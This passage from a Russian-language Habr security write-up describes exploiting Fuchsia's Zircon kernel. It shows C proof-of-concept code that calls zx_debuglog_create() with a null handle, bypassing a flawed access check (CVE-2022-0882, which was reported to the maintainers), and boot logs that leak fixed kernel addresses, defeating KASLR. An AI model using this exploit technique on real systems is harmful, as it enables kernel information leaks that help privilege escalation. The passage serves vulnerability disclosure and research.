    fprintf(stderr, "Failed to create channel: %d\n", status);
    return -1;
  }

  const char kReadOnlyLogPath[] = "/svc/" fuchsia_boot_ReadOnlyLog_Name;
  status = fdio_service_connect(kReadOnlyLogPath, remote.release());
  if (status != ZX_OK) {
    fprintf(stderr, "Failed to connect to ReadOnlyLog: %d\n", status);
    return -1;
  }

  zx_handle_t h;
  status = fuchsia_boot_ReadOnlyLogGet(local.get(), &h);
  if (status != ZX_OK) {
    fprintf(stderr, "ReadOnlyLogGet failed: %d\n", status);
    return -1;
  }

В этом коде создается специальный канал (Fuchsia channel), который затем используется для протокола ReadOnlyLog. Для этого вызываются функции из библиотеки fdio, которая предоставляет единый интерфейс для файлов, сокетов, каналов, сервисов в Fuchsia. При запуске компонента система выдает следующую ошибку:

[ffx-laboratory:a13x_pwns_fuchsia] WARNING: Failed to route protocol `fuchsia.boot.ReadOnlyLog` with
  target component `/core/ffx-laboratory:a13x_pwns_fuchsia`: A `use from parent` declaration was found
  at `/core/ffx-laboratory:a13x_pwns_fuchsia` for `fuchsia.boot.ReadOnlyLog`, but no matching `offer`
  declaration was found in the parent
[ffx-laboratory:a13x_pwns_fuchsia] INFO: [!] try opening kernel log...
[ffx-laboratory:a13x_pwns_fuchsia] INFO: ReadOnlyLogGet failed: -24

Это корректное поведение. Мой компонент не имеет заявленных привилегий. Со стороны системы нет разрешения offer на использование протокола fuchsia.boot.ReadOnlyLog, поэтому Fuchsia возвращает ошибку при подключении канала к ядерному журналу. Не судьба…

Я отбросил мысль об обходе KASLR с помощью утечки информации из ядерного журнала и стал бродить по исходному коду Zircon в ожидании новой идеи. Тут вдруг я наткнулся на системный вызов zx_debuglog_create(), который дает совсем другой способ доступа к ядерному журналу:

zx_status_t zx_debuglog_create(zx_handle_t resource,
                               uint32_t options,
                               zx_handle_t* out);

В документации по системным вызовам Fuchsia говорится, что аргумент resource обязательно должен иметь тип ZX_RSRC_KIND_ROOT. Мой прототип эксплойта, конечно же, не обладал таким ресурсом, но я все равно попробовал вызвать zx_debuglog_create() наудачу:

zx_handle_t root_resource; // global var initialized by 0

int main(int argc, const char** argv)
{
  zx_status_t status;
  zx_handle_t debuglog;

  status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog);
  if (status != ZX_OK) {
    printf("[-] can't create debuglog, no way\n");
    return 1;
  }

И этот код сработал! Мой непривилегированный компонент получил доступ к журналу Zircon без необходимых привилегий и при отсутствии ресурса ZX_RSRC_KIND_ROOT. Что за чудеса? Я нашел код Fuchsia, который отвечает за обработку этого системного вызова, и рассмеялся:

zx_status_t sys_debuglog_create(zx_handle_t rsrc, uint32_t options, user_out_handle* out) {
  LTRACEF("options 0x%x\n", options);

  // TODO(fxbug.dev/32044) Require a non-INVALID handle.
  if (rsrc != ZX_HANDLE_INVALID) {
    // TODO(fxbug.dev/30918): finer grained validation
    zx_status_t status = validate_resource(rsrc, ZX_RSRC_KIND_ROOT);
    if (status != ZX_OK)
      return status;
  }

Здесь функция validate_resource() проверяет, что ресурс имеет тип ZX_RSRC_KIND_ROOT, только если он ненулевой. Прекрасная проверка доступа (сарказм)!

В трекере Fuchsia я хотел посмотреть задачи 32044 и 30918, которые указаны в комментариях к коду, но получил access denied. Похоже, процесс разработки Fuchsia не вполне открыт для сообщества, как было заявлено Google. Тогда я создал в трекере security bug и описал, что ошибка проверки доступа в sys_debuglog_create() приводит к утечке информации из ядерного журнала (для корректного отображения информации в трекере нажмите кнопку Markdown в правом верхнем углу). Мейнтейнеры проекта Fuchsia подтвердили проблему безопасности и назначили для нее идентификатор CVE-2022–0882.

Зря старался: KASLR для Zircon не работает

Поскольку мой прототип эксплойта теперь мог выполнять чтение ядерного журнала, я извлек из него несколько ядерных указателей, чтобы вычислить секретный отступ KASLR. Но как же я удивился, когда повторил эту операцию при следующем запуске Fuchsia.

Несмотря на KASLR, ядерные адреса не изменялись при перезапуске Fuchsia.

Ниже представлен пример. Как говорится, найдите пять отличий. Загрузка № 1:

[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1
[0.197] 00000:01029> Free memory after kernel init: 8424374272 bytes.
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1
[0.200] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000
[0.201] 00000:01029> userboot: userboot rodata       0 @ [0x2ca730e3000,0x2ca730e9000)
[0.201] 00000:01029> userboot: userboot code    0x6000 @ [0x2ca730e9000,0x2ca73100000)
[0.201] 00000:01029> userboot: vdso/next rodata       0 @ [0x2ca73100000,0x2ca73108000)

Загрузка № 2:

[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1
[0.194] 00000:01029> Free memory after kernel init: 8424361984 bytes.
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1
[0.194] 00000:01029> userboot: ramdisk       0x18c5000 @ 0
    
            

© Habrahabr.ru